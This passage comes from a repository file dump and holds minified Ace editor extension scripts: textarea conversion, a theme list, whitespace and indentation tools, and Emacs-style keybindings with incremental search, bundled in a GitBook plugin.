a(e,t){for(var n in t)e.style[n]=t[n]}function f(e,t){if(e.type!=\"textarea\")throw new Error(\"Textarea required!\");var n=e.parentNode,i=document.createElement(\"div\"),s=function(){var t=\"position:relative;\";[\"margin-top\",\"margin-left\",\"margin-right\",\"margin-bottom\"].forEach(function(n){t+=n+\":\"+u(e,i,n)+\";\"});var n=u(e,i,\"width\")||e.clientWidth+\"px\",r=u(e,i,\"height\")||e.clientHeight+\"px\";t+=\"height:\"+r+\";width:\"+n+\";\",t+=\"display:inline-block;\",i.setAttribute(\"style\",t)};r.addListener(window,\"resize\",s),s(),n.insertBefore(i,e.nextSibling);while(n!==document){if(n.tagName.toUpperCase()===\"FORM\"){var o=n.onsubmit;n.onsubmit=function(n){e.value=t(),o&&o.call(this,n)};break}n=n.parentNode}return i}function l(t,n,r){s.loadScript(t,function(){e([n],r)})}function c(e,t,n,r,i,s){function a(e){return e===\"true\"||e==1}var o=e.getSession(),u=e.renderer;return s=s||l,e.setDisplaySettings=function(t){t==null&&(t=n.style.display==\"none\"),t?(n.style.display=\"block\",n.hideButton.focus(),e.on(\"focus\",function r(){e.removeListener(\"focus\",r),n.style.display=\"none\"})):e.focus()},e.$setOption=e.setOption,e.$getOption=e.getOption,e.setOption=function(t,n){switch(t){case\"mode\":e.$setOption(\"mode\",\"ace/mode/\"+n);break;case\"theme\":e.$setOption(\"theme\",\"ace/theme/\"+n);break;case\"keybindings\":switch(n){case\"vim\":e.setKeyboardHandler(\"ace/keyboard/vim\");break;case\"emacs\":e.setKeyboardHandler(\"ace/keyboard/emacs\");break;default:e.setKeyboardHandler(null)}break;case\"softWrap\":case\"fontSize\":e.$setOption(t,n);break;default:e.$setOption(t,a(n))}},e.getOption=function(t){switch(t){case\"mode\":return e.$getOption(\"mode\").substr(\"ace/mode/\".length);case\"theme\":return e.$getOption(\"theme\").substr(\"ace/theme/\".length);case\"keybindings\":var n=e.getKeyboardHandler();switch(n&&n.$id){case\"ace/keyboard/vim\":return\"vim\";case\"ace/keyboard/emacs\":return\"emacs\";default:return\"ace\"}break;default:return e.$getOption(t)}},e.setOptions(i),e}function h(e,n,i){function f(e,t,n,r){if(!n){e.push(\"<input type='checkbox' title='\",t,\"' \",r+\"\"==\"true\"?\"checked='true'\":\"\",\"'></input>\");return}e.push(\"<select title='\"+t+\"'>\");for(var i in n)e.push(\"<option value='\"+i+\"' \"),r==i&&e.push(\" selected \"),e.push(\">\",n[i],\"</option>\");e.push(\"</select>\")}var s=null,o={mode:\"Mode:\",wrap:\"Soft Wrap:\",theme:\"Theme:\",fontSize:\"Font Size:\",showGutter:\"Display Gutter:\",keybindings:\"Keyboard\",showPrintMargin:\"Show Print Margin:\",useSoftTabs:\"Use Soft Tabs:\",showInvisibles:\"Show Invisibles\"},u={mode:{text:\"Plain\",javascript:\"JavaScript\",xml:\"XML\",html:\"HTML\",css:\"CSS\",scss:\"SCSS\",python:\"Python\",php:\"PHP\",java:\"Java\",ruby:\"Ruby\",c_cpp:\"C/C++\",coffee:\"CoffeeScript\",json:\"json\",perl:\"Perl\",clojure:\"Clojure\",ocaml:\"OCaml\",csharp:\"C#\",haxe:\"haXe\",svg:\"SVG\",textile:\"Textile\",groovy:\"Groovy\",liquid:\"Liquid\",Scala:\"Scala\"},theme:{clouds:\"Clouds\",clouds_midnight:\"Clouds Midnight\",cobalt:\"Cobalt\",crimson_editor:\"Crimson Editor\",dawn:\"Dawn\",eclipse:\"Eclipse\",idle_fingers:\"Idle Fingers\",kr_theme:\"Kr Theme\",merbivore:\"Merbivore\",merbivore_soft:\"Merbivore Soft\",mono_industrial:\"Mono Industrial\",monokai:\"Monokai\",pastel_on_dark:\"Pastel On Dark\",solarized_dark:\"Solarized Dark\",solarized_light:\"Solarized Light\",textmate:\"Textmate\",twilight:\"Twilight\",vibrant_ink:\"Vibrant Ink\"},showGutter:s,fontSize:{\"10px\":\"10px\",\"11px\":\"11px\",\"12px\":\"12px\",\"14px\":\"14px\",\"16px\":\"16px\"},wrap:{off:\"Off\",40:\"40\",80:\"80\",free:\"Free\"},keybindings:{ace:\"ace\",vim:\"vim\",emacs:\"emacs\"},showPrintMargin:s,useSoftTabs:s,showInvisibles:s},a=[];a.push(\"<table><tr><th>Setting</th><th>Value</th></tr>\");for(var l in t.defaultOptions)a.push(\"<tr><td>\",o[l],\"</td>\"),a.push(\"<td>\"),f(a,l,u[l],i.getOption(l)),a.push(\"</td></tr>\");a.push(\"</table>\"),e.innerHTML=a.join(\"\");var c=function(e){var t=e.currentTarget;i.setOption(t.title,t.value)},h=function(e){var t=e.currentTarget;i.setOption(t.title,t.checked)},p=e.getElementsByTagName(\"select\");for(var d=0;d<p.length;d++)p[d].onchange=c;var v=e.getElementsByTagName(\"input\");for(var d=0;d<v.length;d++)v[d].onclick=h;var m=document.createElement(\"input\");m.type=\"button\",m.value=\"Hide\",r.addListener(m,\"click\",function(){i.setDisplaySettings(!1)}),e.appendChild(m),e.hideButton=m}var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"../lib/net\"),o=e(\"../ace\");e(\"../theme/textmate\"),n.exports=t=o;var u=function(e,t,n){var r=e.style[n];r||(window.getComputedStyle?r=window.getComputedStyle(e,\"\").getPropertyValue(n):r=e.currentStyle[n]);if(!r||r==\"auto\"||r==\"intrinsic\")r=t.style[n];return r};t.transformTextarea=function(e,n){var s,u=f(e,function(){return s.getValue()});e.style.display=\"none\",u.style.background=\"white\";var p=document.createElement(\"div\");a(p,{top:\"0px\",left:\"0px\",right:\"0px\",bottom:\"0px\",border:\"1px solid gray\",position:\"absolute\"}),u.appendChild(p);var d=document.createElement(\"div\");a(d,{position:\"absolute\",right:\"0px\",bottom:\"0px\",background:\"red\",cursor:\"nw-resize\",borderStyle:\"solid\",borderWidth:\"9px 8px 10px 9px\",width:\"2px\",borderColor:\"lightblue gray gray lightblue\",zIndex:101});var v=document.createElement(\"div\"),m={top:\"0px\",left:\"20%\",right:\"0px\",bottom:\"0px\",position:\"absolute\",padding:\"5px\",zIndex:100,color:\"white\",display:\"none\",overflow:\"auto\",fontSize:\"14px\",boxShadow:\"-5px 2px 3px gray\"};i.isOldIE?m.backgroundColor=\"#333\":m.backgroundColor=\"rgba(0, 0, 0, 0.6)\",a(v,m),u.appendChild(v),n=n||t.defaultOptions;var g=o.edit(p);s=g.getSession(),s.setValue(e.value||e.innerHTML),g.focus(),u.appendChild(d),c(g,p,v,o,n,l),h(v,d,g);var y=\"\";return r.addListener(d,\"mousemove\",function(e){var t=this.getBoundingClientRect(),n=e.clientX-t.left,r=e.clientY-t.top;n+r<(t.width+t.height)/2?(this.style.cursor=\"pointer\",y=\"toggle\"):(y=\"resize\",this.style.cursor=\"nw-resize\")}),r.addListener(d,\"mousedown\",function(e){if(y==\"toggle\"){g.setDisplaySettings();return}u.style.zIndex=1e5;var t=u.getBoundingClientRect(),n=t.width+t.left-e.clientX,i=t.height+t.top-e.clientY;r.capture(d,function(e){u.style.width=e.clientX-t.left+n+\"px\",u.style.height=e.clientY-t.top+i+\"px\",g.resize()},function(){})}),g},t.defaultOptions={mode:\"javascript\",theme:\"textmate\",wrap:\"off\",fontSize:\"12px\",showGutter:\"false\",keybindings:\"ace\",showPrintMargin:\"false\",useSoftTabs:\"true\",showInvisibles:\"false\"}});\n                (function() {\n                    window.require([\"ace/ext/textarea\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-themelist.js",
    "content": "define(\"ace/ext/themelist\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\"],function(e,t,n){\"use strict\";e(\"ace/lib/fixoldbrowsers\");var r=[[\"Chrome\"],[\"Clouds\"],[\"Crimson Editor\"],[\"Dawn\"],[\"Dreamweaver\"],[\"Eclipse\"],[\"GitHub\"],[\"IPlastic\"],[\"Solarized Light\"],[\"TextMate\"],[\"Tomorrow\"],[\"XCode\"],[\"Kuroir\"],[\"KatzenMilch\"],[\"SQL Server\",\"sqlserver\",\"light\"],[\"Ambiance\",\"ambiance\",\"dark\"],[\"Chaos\",\"chaos\",\"dark\"],[\"Clouds Midnight\",\"clouds_midnight\",\"dark\"],[\"Cobalt\",\"cobalt\",\"dark\"],[\"idle Fingers\",\"idle_fingers\",\"dark\"],[\"krTheme\",\"kr_theme\",\"dark\"],[\"Merbivore\",\"merbivore\",\"dark\"],[\"Merbivore Soft\",\"merbivore_soft\",\"dark\"],[\"Mono Industrial\",\"mono_industrial\",\"dark\"],[\"Monokai\",\"monokai\",\"dark\"],[\"Pastel on dark\",\"pastel_on_dark\",\"dark\"],[\"Solarized Dark\",\"solarized_dark\",\"dark\"],[\"Terminal\",\"terminal\",\"dark\"],[\"Tomorrow Night\",\"tomorrow_night\",\"dark\"],[\"Tomorrow Night Blue\",\"tomorrow_night_blue\",\"dark\"],[\"Tomorrow Night Bright\",\"tomorrow_night_bright\",\"dark\"],[\"Tomorrow Night 80s\",\"tomorrow_night_eighties\",\"dark\"],[\"Twilight\",\"twilight\",\"dark\"],[\"Vibrant Ink\",\"vibrant_ink\",\"dark\"]];t.themesByName={},t.themes=r.map(function(e){var n=e[1]||e[0].replace(/ /g,\"_\").toLowerCase(),r={caption:e[0],theme:\"ace/theme/\"+n,isDark:e[2]==\"dark\",name:n};return t.themesByName[n]=r,r})});\n                (function() {\n                    window.require([\"ace/ext/themelist\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-whitespace.js",
    "content": "define(\"ace/ext/whitespace\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/lang\");t.$detectIndentation=function(e,t){function c(e){var t=0;for(var r=e;r<n.length;r+=e)t+=n[r]||0;return t}var n=[],r=[],i=0,s=0,o=Math.min(e.length,1e3);for(var u=0;u<o;u++){var a=e[u];if(!/^\\s*[^*+\\-\\s]/.test(a))continue;if(a[0]==\"\t\")i++,s=-Number.MAX_VALUE;else{var f=a.match(/^ */)[0].length;if(f&&a[f]!=\"\t\"){var l=f-s;l>0&&!(s%l)&&!(f%l)&&(r[l]=(r[l]||0)+1),n[f]=(n[f]||0)+1}s=f}while(u<o&&a[a.length-1]==\"\\\\\")a=e[u++]}var h=r.reduce(function(e,t){return e+t},0),p={score:0,length:0},d=0;for(var u=1;u<12;u++){var v=c(u);u==1?(d=v,v=n[1]?.9:.8,n.length||(v=0)):v/=d,r[u]&&(v+=r[u]/h),v>p.score&&(p={score:v,length:u})}if(p.score&&p.score>1.4)var m=p.length;if(i>d+1){if(m==1||d<i/4||p.score<1.8)m=undefined;return{ch:\"\t\",length:m}}if(d>i+1)return{ch:\" \",length:m}},t.detectIndentation=function(e){var n=e.getLines(0,1e3),r=t.$detectIndentation(n)||{};return r.ch&&e.setUseSoftTabs(r.ch==\" \"),r.length&&e.setTabSize(r.length),r},t.trimTrailingSpace=function(e,t){var n=e.getDocument(),r=n.getAllLines(),i=t?-1:0;for(var s=0,o=r.length;s<o;s++){var u=r[s],a=u.search(/\\s+$/);a>i&&n.removeInLine(s,a,u.length)}},t.convertIndentation=function(e,t,n){var i=e.getTabString()[0],s=e.getTabSize();n||(n=s),t||(t=i);var o=t==\"\t\"?t:r.stringRepeat(t,n),u=e.doc,a=u.getAllLines(),f={},l={};for(var c=0,h=a.length;c<h;c++){var p=a[c],d=p.match(/^\\s*/)[0];if(d){var v=e.$getStringScreenWidth(d)[0],m=Math.floor(v/s),g=v%s,y=f[m]||(f[m]=r.stringRepeat(o,m));y+=l[g]||(l[g]=r.stringRepeat(\" \",g)),y!=d&&(u.removeInLine(c,0,d.length),u.insertInLine({row:c,column:0},y))}}e.setTabSize(n),e.setUseSoftTabs(t==\" \")},t.$parseStringArg=function(e){var t={};/t/.test(e)?t.ch=\"\t\":/s/.test(e)&&(t.ch=\" \");var n=e.match(/\\d+/);return n&&(t.length=parseInt(n[0],10)),t},t.$parseArg=function(e){return e?typeof e==\"string\"?t.$parseStringArg(e):typeof e.text==\"string\"?t.$parseStringArg(e.text):e:{}},t.commands=[{name:\"detectIndentation\",exec:function(e){t.detectIndentation(e.session)}},{name:\"trimTrailingSpace\",exec:function(e){t.trimTrailingSpace(e.session)}},{name:\"convertIndentation\",exec:function(e,n){var r=t.$parseArg(n);t.convertIndentation(e.session,r.ch,r.length)}},{name:\"setIndentation\",exec:function(e,n){var r=t.$parseArg(n);r.length&&e.session.setTabSize(r.length),r.ch&&e.session.setUseSoftTabs(r.ch==\" \")}}]});\n                (function() {\n                    window.require([\"ace/ext/whitespace\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/keybinding-emacs.js",
    "content": "define(\"ace/occur\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/search\",\"ace/edit_session\",\"ace/search_highlight\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";function a(){}var r=e(\"./lib/oop\"),i=e(\"./range\").Range,s=e(\"./search\").Search,o=e(\"./edit_session\").EditSession,u=e(\"./search_highlight\").SearchHighlight;r.inherits(a,s),function(){this.enter=function(e,t){if(!t.needle)return!1;var n=e.getCursorPosition();this.displayOccurContent(e,t);var r=this.originalToOccurPosition(e.session,n);return e.moveCursorToPosition(r),!0},this.exit=function(e,t){var n=t.translatePosition&&e.getCursorPosition(),r=n&&this.occurToOriginalPosition(e.session,n);return this.displayOriginalContent(e),r&&e.moveCursorToPosition(r),!0},this.highlight=function(e,t){var n=e.$occurHighlight=e.$occurHighlight||e.addDynamicMarker(new u(null,\"ace_occur-highlight\",\"text\"));n.setRegexp(t),e._emit(\"changeBackMarker\")},this.displayOccurContent=function(e,t){this.$originalSession=e.session;var n=this.matchingLines(e.session,t),r=n.map(function(e){return e.content}),i=new o(r.join(\"\\n\"));i.$occur=this,i.$occurMatchingLines=n,e.setSession(i),this.$useEmacsStyleLineStart=this.$originalSession.$useEmacsStyleLineStart,i.$useEmacsStyleLineStart=this.$useEmacsStyleLineStart,this.highlight(i,t.re),i._emit(\"changeBackMarker\")},this.displayOriginalContent=function(e){e.setSession(this.$originalSession),this.$originalSession.$useEmacsStyleLineStart=this.$useEmacsStyleLineStart},this.originalToOccurPosition=function(e,t){var n=e.$occurMatchingLines,r={row:0,column:0};if(!n)return r;for(var i=0;i<n.length;i++)if(n[i].row===t.row)return{row:i,column:t.column};return r},this.occurToOriginalPosition=function(e,t){var n=e.$occurMatchingLines;return!n||!n[t.row]?t:{row:n[t.row].row,column:t.column}},this.matchingLines=function(e,t){t=r.mixin({},t);if(!e||!t.needle)return[];var n=new s;return n.set(t),n.findAll(e).reduce(function(t,n){var r=n.start.row,i=t[t.length-1];return i&&i.row===r?t:t.concat({row:r,content:e.getLine(r)})},[])}}.call(a.prototype);var f=e(\"./lib/dom\");f.importCssString(\".ace_occur-highlight {\\n    border-radius: 4px;\\n    background-color: rgba(87, 255, 8, 0.25);\\n    position: absolute;\\n    z-index: 4;\\n    -moz-box-sizing: border-box;\\n    -webkit-box-sizing: border-box;\\n    box-sizing: border-box;\\n    box-shadow: 0 0 4px rgb(91, 255, 50);\\n}\\n.ace_dark .ace_occur-highlight {\\n    background-color: rgb(80, 140, 85);\\n    box-shadow: 0 0 4px rgb(60, 120, 70);\\n}\\n\",\"incremental-occur-highlighting\"),t.Occur=a}),define(\"ace/commands/occur_commands\",[\"require\",\"exports\",\"module\",\"ace/config\",\"ace/occur\",\"ace/keyboard/hash_handler\",\"ace/lib/oop\"],function(e,t,n){function f(){}var r=e(\"../config\"),i=e(\"../occur\").Occur,s={name:\"occur\",exec:function(e,t){var n=!!e.session.$occur,r=(new i).enter(e,t);r&&!n&&f.installIn(e)},readOnly:!0},o=[{name:\"occurexit\",bindKey:\"esc|Ctrl-G\",exec:function(e){var t=e.session.$occur;if(!t)return;t.exit(e,{}),e.session.$occur||f.uninstallFrom(e)},readOnly:!0},{name:\"occuraccept\",bindKey:\"enter\",exec:function(e){var t=e.session.$occur;if(!t)return;t.exit(e,{translatePosition:!0}),e.session.$occur||f.uninstallFrom(e)},readOnly:!0}],u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/oop\");a.inherits(f,u),function(){this.isOccurHandler=!0,this.attach=function(e){u.call(this,o,e.commands.platform),this.$editor=e};var e=this.handleKeyboard;this.handleKeyboard=function(t,n,r,i){var s=e.call(this,t,n,r,i);return s&&s.command?s:undefined}}.call(f.prototype),f.installIn=function(e){var t=new this;e.keyBinding.addKeyboardHandler(t),e.commands.addCommands(o)},f.uninstallFrom=function(e){e.commands.removeCommands(o);var t=e.getKeyboardHandler();t.isOccurHandler&&e.keyBinding.removeKeyboardHandler(t)},t.occurStartCommand=s}),define(\"ace/commands/incremental_search_commands\",[\"require\",\"exports\",\"module\",\"ace/config\",\"ace/lib/oop\",\"ace/keyboard/hash_handler\",\"ace/commands/occur_commands\"],function(e,t,n){function u(e){this.$iSearch=e}var r=e(\"../config\"),i=e(\"../lib/oop\"),s=e(\"../keyboard/hash_handler\").HashHandler,o=e(\"./occur_commands\").occurStartCommand;t.iSearchStartCommands=[{name:\"iSearch\",bindKey:{win:\"Ctrl-F\",mac:\"Command-F\"},exec:function(e,t){r.loadModule([\"core\",\"ace/incremental_search\"],function(n){var r=n.iSearch=n.iSearch||new n.IncrementalSearch;r.activate(e,t.backwards),t.jumpToFirstMatch&&r.next(t)})},readOnly:!0},{name:\"iSearchBackwards\",exec:function(e,t){e.execCommand(\"iSearch\",{backwards:!0})},readOnly:!0},{name:\"iSearchAndGo\",bindKey:{win:\"Ctrl-K\",mac:\"Command-G\"},exec:function(e,t){e.execCommand(\"iSearch\",{jumpToFirstMatch:!0,useCurrentOrPrevSearch:!0})},readOnly:!0},{name:\"iSearchBackwardsAndGo\",bindKey:{win:\"Ctrl-Shift-K\",mac:\"Command-Shift-G\"},exec:function(e){e.execCommand(\"iSearch\",{jumpToFirstMatch:!0,backwards:!0,useCurrentOrPrevSearch:!0})},readOnly:!0}],t.iSearchCommands=[{name:\"restartSearch\",bindKey:{win:\"Ctrl-F\",mac:\"Command-F\"},exec:function(e){e.cancelSearch(!0)}},{name:\"searchForward\",bindKey:{win:\"Ctrl-S|Ctrl-K\",mac:\"Ctrl-S|Command-G\"},exec:function(e,t){t.useCurrentOrPrevSearch=!0,e.next(t)}},{name:\"searchBackward\",bindKey:{win:\"Ctrl-R|Ctrl-Shift-K\",mac:\"Ctrl-R|Command-Shift-G\"},exec:function(e,t){t.useCurrentOrPrevSearch=!0,t.backwards=!0,e.next(t)}},{name:\"extendSearchTerm\",exec:function(e,t){e.addString(t)}},{name:\"extendSearchTermSpace\",bindKey:\"space\",exec:function(e){e.addString(\" \")}},{name:\"shrinkSearchTerm\",bindKey:\"backspace\",exec:function(e){e.removeChar()}},{name:\"confirmSearch\",bindKey:\"return\",exec:function(e){e.deactivate()}},{name:\"cancelSearch\",bindKey:\"esc|Ctrl-G\",exec:function(e){e.deactivate(!0)}},{name:\"occurisearch\",bindKey:\"Ctrl-O\",exec:function(e){var t=i.mixin({},e.$options);e.deactivate(),o.exec(e.$editor,t)}},{name:\"yankNextWord\",bindKey:\"Ctrl-w\",exec:function(e){var t=e.$editor,n=t.selection.getRangeOfMovements(function(e){e.moveCursorWordRight()}),r=t.session.getTextRange(n);e.addString(r)}},{name:\"yankNextChar\",bindKey:\"Ctrl-Alt-y\",exec:function(e){var t=e.$editor,n=t.selection.getRangeOfMovements(function(e){e.moveCursorRight()}),r=t.session.getTextRange(n);e.addString(r)}},{name:\"recenterTopBottom\",bindKey:\"Ctrl-l\",exec:function(e){e.$editor.execCommand(\"recenterTopBottom\")}},{name:\"selectAllMatches\",bindKey:\"Ctrl-space\",exec:function(e){var t=e.$editor,n=t.session.$isearchHighlight,r=n&&n.cache?n.cache.reduce(function(e,t){return e.concat(t?t:[])},[]):[];e.deactivate(!1),r.forEach(t.selection.addRange.bind(t.selection))}},{name:\"searchAsRegExp\",bindKey:\"Alt-r\",exec:function(e){e.convertNeedleToRegExp()}}].map(function(e){return e.readOnly=!0,e.isIncrementalSearchCommand=!0,e.scrollIntoView=\"animate-cursor\",e}),i.inherits(u,s),function(){this.attach=function(e){var n=this.$iSearch;s.call(this,t.iSearchCommands,e.commands.platform),this.$commandExecHandler=e.commands.addEventListener(\"exec\",function(t){if(!t.command.isIncrementalSearchCommand)return n.deactivate();t.stopPropagation(),t.preventDefault();var r=e.session.getScrollTop(),i=t.command.exec(n,t.args||{});return e.renderer.scrollCursorIntoView(null,.5),e.renderer.animateScrolling(r),i})},this.detach=function(e){if(!this.$commandExecHandler)return;e.commands.removeEventListener(\"exec\",this.$commandExecHandler),delete this.$commandExecHandler};var e=this.handleKeyboard;this.handleKeyboard=function(t,n,r,i){if((n===1||n===8)&&r===\"v\"||n===1&&r===\"y\")return null;var s=e.call(this,t,n,r,i);if(s.command)return s;if(n==-1){var o=this.commands.extendSearchTerm;if(o)return{command:o,args:r}}return!1}}.call(u.prototype),t.IncrementalSearchKeyboardHandler=u}),define(\"ace/incremental_search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/search\",\"ace/search_highlight\",\"ace/commands/incremental_search_commands\",\"ace/lib/dom\",\"ace/commands/command_manager\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";function f(){this.$options={wrap:!1,skipCurrent:!1},this.$keyboardHandler=new a(this)}function l(e){return e instanceof RegExp}function c(e){var t=String(e),n=t.indexOf(\"/\"),r=t.lastIndexOf(\"/\");return{expression:t.slice(n+1,r),flags:t.slice(r+1)}}function h(e,t){try{return new RegExp(e,t)}catch(n){return e}}function p(e){return h(e.expression,e.flags)}var r=e(\"./lib/oop\"),i=e(\"./range\").Range,s=e(\"./search\").Search,o=e(\"./search_highlight\").SearchHighlight,u=e(\"./commands/incremental_search_commands\"),a=u.IncrementalSearchKeyboardHandler;r.inherits(f,s),function(){this.activate=function(e,t){this.$editor=e,this.$startPos=this.$currentPos=e.getCursorPosition(),this.$options.needle=\"\",this.$options.backwards=t,e.keyBinding.addKeyboardHandler(this.$keyboardHandler),this.$originalEditorOnPaste=e.onPaste,e.onPaste=this.onPaste.bind(this),this.$mousedownHandler=e.addEventListener(\"mousedown\",this.onMouseDown.bind(this)),this.selectionFix(e),this.statusMessage(!0)},this.deactivate=function(e){this.cancelSearch(e);var t=this.$editor;t.keyBinding.removeKeyboardHandler(this.$keyboardHandler),this.$mousedownHandler&&(t.removeEventListener(\"mousedown\",this.$mousedownHandler),delete this.$mousedownHandler),t.onPaste=this.$originalEditorOnPaste,this.message(\"\")},this.selectionFix=function(e){e.selection.isEmpty()&&!e.session.$emacsMark&&e.clearSelection()},this.highlight=function(e){var t=this.$editor.session,n=t.$isearchHighlight=t.$isearchHighlight||t.addDynamicMarker(new o(null,\"ace_isearch-result\",\"text\"));n.setRegexp(e),t._emit(\"changeBackMarker\")},this.cancelSearch=function(e){var t=this.$editor;return this.$prevNeedle=this.$options.needle,this.$options.needle=\"\",e?(t.moveCursorToPosition(this.$startPos),this.$currentPos=this.$startPos):t.pushEmacsMark&&t.pushEmacsMark(this.$startPos,!1),this.highlight(null),i.fromPoints(this.$currentPos,this.$currentPos)},this.highlightAndFindWithNeedle=function(e,t){if(!this.$editor)return null;var n=this.$options;t&&(n.needle=t.call(this,n.needle||\"\")||\"\");if(n.needle.length===0)return this.statusMessage(!0),this.cancelSearch(!0);n.start=this.$currentPos;var r=this.$editor.session,s=this.find(r),o=this.$editor.emacsMark?!!this.$editor.emacsMark():!this.$editor.selection.isEmpty();return s&&(n.backwards&&(s=i.fromPoints(s.end,s.start)),this.$editor.selection.setRange(i.fromPoints(o?this.$startPos:s.end,s.end)),e&&(this.$currentPos=s.end),this.highlight(n.re)),this.statusMessage(s),s},this.addString=function(e){return this.highlightAndFindWithNeedle(!1,function(t){if(!l(t))return t+e;var n=c(t);return n.expression+=e,p(n)})},this.removeChar=function(e){return this.highlightAndFindWithNeedle(!1,function(e){if(!l(e))return e.substring(0,e.length-1);var t=c(e);return t.expression=t.expression.substring(0,t.expression.length-1),p(t)})},this.next=function(e){return e=e||{},this.$options.backwards=!!e.backwards,this.$currentPos=this.$editor.getCursorPosition(),this.highlightAndFindWithNeedle(!0,function(t){return e.useCurrentOrPrevSearch&&t.length===0?this.$prevNeedle||\"\":t})},this.onMouseDown=function(e){return this.deactivate(),!0},this.onPaste=function(e){this.addString(e)},this.convertNeedleToRegExp=function(){return this.highlightAndFindWithNeedle(!1,function(e){return l(e)?e:h(e,\"ig\")})},this.convertNeedleToString=function(){return this.highlightAndFindWithNeedle(!1,function(e){return l(e)?c(e).expression:e})},this.statusMessage=function(e){var t=this.$options,n=\"\";n+=t.backwards?\"reverse-\":\"\",n+=\"isearch: \"+t.needle,n+=e?\"\":\" (not found)\",this.message(n)},this.message=function(e){this.$editor.showCommandLine?(this.$editor.showCommandLine(e),this.$editor.focus()):console.log(e)}}.call(f.prototype),t.IncrementalSearch=f;var d=e(\"./lib/dom\");d.importCssString&&d.importCssString(\".ace_marker-layer .ace_isearch-result {  position: absolute;  z-index: 6;  -moz-box-sizing: border-box;  -webkit-box-sizing: border-box;  box-sizing: border-box;}div.ace_isearch-result {  border-radius: 4px;  background-color: rgba(255, 200, 0, 0.5);  box-shadow: 0 0 4px rgb(255, 200, 0);}.ace_dark div.ace_isearch-result {  background-color: rgb(100, 110, 160);  box-shadow: 0 0 4px rgb(80, 90, 140);}\",\"incremental-search-highlighting\");var v=e(\"./commands/command_manager\");(function(){this.setupIncrementalSearch=function(e,t){if(this.usesIncrementalSearch==t)return;this.usesIncrementalSearch=t;var n=u.iSearchStartCommands,r=t?\"addCommands\":\"removeCommands\";this[r](n)}}).call(v.CommandManager.prototype);var m=e(\"./editor\").Editor;e(\"./config\").defineOptions(m.prototype,\"editor\",{useIncrementalSearch:{set:function(e){this.keyBinding.$handlers.forEach(function(t){t.setupIncrementalSearch&&t.setupIncrementalSearch(this,e)}),this._emit(\"incrementalSearchSettingChanged\",{isEnabled:e})}}})}),define(\"ace/keyboard/emacs\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/incremental_search\",\"ace/commands/incremental_search_commands\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\");e(\"../incremental_search\");var i=e(\"../commands/incremental_search_commands\"),s=function(e,t){var n=this.scroller.getBoundingClientRect(),r=Math.floor((e+this.scrollLeft-n.left-this.$padding)/this.characterWidth),i=Math.floor((t+this.scrollTop-n.top)/this.lineHeight);return this.session.screenToDocumentPosition(i,r)},o=e(\"./hash_handler\").HashHandler;t.handler=new o,t.handler.isEmacs=!0,t.handler.$id=\"ace/keyboard/emacs\";var u=!1,a,f;t.handler.attach=function(e){u||(u=!0,r.importCssString(\"            .emacs-mode .ace_cursor{                border: 1px rgba(50,250,50,0.8) solid!important;                -moz-box-sizing: border-box!important;                -webkit-box-sizing: border-box!important;                box-sizing: border-box!important;                background-color: rgba(0,250,0,0.9);                opacity: 0.5;            }            .emacs-mode .ace_hidden-cursors .ace_cursor{                opacity: 1;                background-color: transparent;            }            .emacs-mode .ace_overwrite-cursors .ace_cursor {                opacity: 1;                background-color: transparent;                border-width: 0 0 2px 2px !important;            }            .emacs-mode .ace_text-layer {                z-index: 4            }            .emacs-mode .ace_cursor-layer {                z-index: 2            }\",\"emacsMode\")),a=e.session.$selectLongWords,e.session.$selectLongWords=!0,f=e.session.$useEmacsStyleLineStart,e.session.$useEmacsStyleLineStart=!0,e.session.$emacsMark=null,e.session.$emacsMarkRing=e.session.$emacsMarkRing||[],e.emacsMark=function(){return this.session.$emacsMark},e.setEmacsMark=function(e){this.session.$emacsMark=e},e.pushEmacsMark=function(e,t){var n=this.session.$emacsMark;n&&this.session.$emacsMarkRing.push(n),!e||t?this.setEmacsMark(e):this.session.$emacsMarkRing.push(e)},e.popEmacsMark=function(){var e=this.emacsMark();return e?(this.setEmacsMark(null),e):this.session.$emacsMarkRing.pop()},e.getLastEmacsMark=function(e){return this.session.$emacsMark||this.session.$emacsMarkRing.slice(-1)[0]},e.emacsMarkForSelection=function(e){var t=this.selection,n=this.multiSelect?this.multiSelect.getAllRanges().length:1,r=t.index||0,i=this.session.$emacsMarkRing,s=i.length-(n-r),o=i[s]||t.anchor;return e&&i.splice(s,1,\"row\"in e&&\"column\"in e?e:undefined),o},e.on(\"click\",c),e.on(\"changeSession\",l),e.renderer.screenToTextCoordinates=s,e.setStyle(\"emacs-mode\"),e.commands.addCommands(v),t.handler.platform=e.commands.platform,e.$emacsModeHandler=this,e.addEventListener(\"copy\",this.onCopy),e.addEventListener(\"paste\",this.onPaste)},t.handler.detach=function(e){delete e.renderer.screenToTextCoordinates,e.session.$selectLongWords=a,e.session.$useEmacsStyleLineStart=f,e.removeEventListener(\"click\",c),e.removeEventListener(\"changeSession\",l),e.unsetStyle(\"emacs-mode\"),e.commands.removeCommands(v),e.removeEventListener(\"copy\",this.onCopy),e.removeEventListener(\"paste\",this.onPaste),e.$emacsModeHandler=null};var 